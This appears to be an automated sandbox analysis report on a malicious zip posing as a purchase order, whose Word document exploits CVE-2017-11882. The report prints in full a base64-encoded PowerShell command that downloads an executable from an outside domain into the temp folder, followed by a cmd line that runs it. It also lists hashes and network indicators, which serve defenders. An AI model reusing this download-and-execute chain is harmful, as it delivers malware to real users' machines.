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File name:

PO #SAI-1007324.zip

Full analysis: https://app.any.run/tasks/8392e1a1-7566-48b9-a6f5-531a08ee6e7b
Verdict: Malicious activity
Analysis date: April 23, 2019, 08:50:26
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

254E85392E64A880BE29AD4C3F70B450

SHA1:

E85891AE5F337F13E05E17DDB183144FB066338C

SHA256:

3E35D5001A28D73FCAC209F88E0D5132D1B1BB1045F18D3DDBF9606223B24335

SSDEEP:

24:9A6DXvNQI6tYNimULZGe4xdf7stJCiXkDu60GS:9pXvNwH4XPwipS

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2672)
  • SUSPICIOUS

    • Starts Microsoft Office Application

      • WinRAR.exe (PID: 3872)
    • Creates files in the user directory

      • EQNEDT32.EXE (PID: 2672)
      • powershell.exe (PID: 2156)
    • Executes PowerShell scripts

      • EQNEDT32.EXE (PID: 2672)
    • Reads internet explorer settings

      • EQNEDT32.EXE (PID: 2672)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3972)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3972)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: Deflated
ZipModifyDate: 2019:04:22 06:30:12
ZipCRC: 0x1796afed
ZipCompressedSize: 910
ZipUncompressedSize: 1953
ZipFileName: PO #SAI-1007324.doc
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs winword.exe no specs eqnedt32.exe powershell.exe cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3872"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\PO #SAI-1007324.zip"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
3972"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIa3872.45059\PO #SAI-1007324.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEWinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2672"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2156"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGEAYgBvAHUAdABmAGEAYwBlAGEAdQBkAGkAbwAuAGMAbwBtAC8AZABvAHcAbgBsAGEAbwBkAHMALwBqAGEAbQAvAC4AcABhAHQAaAAvAGoAbwBlAGwALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAdABlAG0AcABcAHYAbgBjAGgAbwBzAHQALgBlAHgAZQAiACkAKQA7AA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3560cmd /c %temp%\vnchost.exeC:\Windows\system32\cmd.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 594
Read events
1 451
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
3
Unknown types
2

Dropped files

PID
Process
Filename
Type
3972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4C58.tmp.cvr
MD5:
SHA256:
2156powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ONQ5A0WB6FYK8C6KN5DO.temp
MD5:
SHA256:
2672EQNEDT32.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:4BCA02BAF1B5D3BD9014B6D4D25DD686
SHA256:BDD5F8BF96A2A97ACADF2106DD9B252EAE7C7C8FD00A2574F093DAD65652FF5F
2672EQNEDT32.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\TqTpj30L[1].txthtml
MD5:DC8F82806FB8CD533ECACAEB89390D39
SHA256:58C753D3D1CE410705C79DF26E3981E9F94DE1F17423BBF2EE8A87B698352CCB
2156powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF
SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5
2156powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11abbe.TMPbinary
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF
SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5
3972WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:2DCF80A5356F4143CE5983EA13DAF046
SHA256:970287722974AE525DF33EA92EF7C144A81C12BFA98E5C46F1614A141D0BC0FF
3972WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Rar$DIa3872.45059\~$ #SAI-1007324.docpgc
MD5:F170A81F9AB1474218F0B9EEE315A65D
SHA256:9A7995B195CD9C11225D2F645F3FDD855A9A6DFEBCA0829E7FFB076E5EEE8B6F
3872WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa3872.45059\PO #SAI-1007324.doctext
MD5:E3644A04429F86CFE06BCCAADD5EE335
SHA256:7FD1E2DF4029664205FD4F2195630ACE6C871C68A78EA0314B8052F72C1B21AA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
5
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2672
EQNEDT32.EXE
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
2156
powershell.exe
64.111.126.227:80
aboutfaceaudio.com
New Dream Network, LLC
US
suspicious
2672
EQNEDT32.EXE
104.20.209.21:443
pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared
aboutfaceaudio.com
  • 64.111.126.227
unknown
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

No threats detected
No debug info